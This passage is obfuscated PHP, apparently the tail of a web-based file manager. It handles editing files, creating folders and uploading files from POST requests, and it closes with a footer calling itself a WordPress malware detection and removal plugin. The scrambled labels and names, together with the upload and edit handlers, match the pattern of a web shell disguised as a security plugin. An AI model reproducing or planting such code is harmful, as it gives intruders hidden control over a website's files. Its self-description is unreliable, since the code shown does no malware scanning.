            echo "File not found.";
            goto SW44_;
        }
        iex1_:
        echo "<h2>Edit File: " . $loEOg . "</h2>";
        xJltS($A62rI);
        SW44_:
        mDBU3:
        goto CZcX_;
    default:
        echo "Invalid action.";
}
CZcX_:
C10Q8:
if (isset($_POST["create_folder"])) {
    EWedV($vauWU, $_POST["folder_name"]);
    goto JRuLV;
}
JRuLV:
if (isset($_POST["upload_file"])) {
    PBKr_($vauWU, $_FILES["file_to_upload"]);
    goto Y_vFD;
}
Y_vFD:
echo "</div>\n</body>\n</html>\n";


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.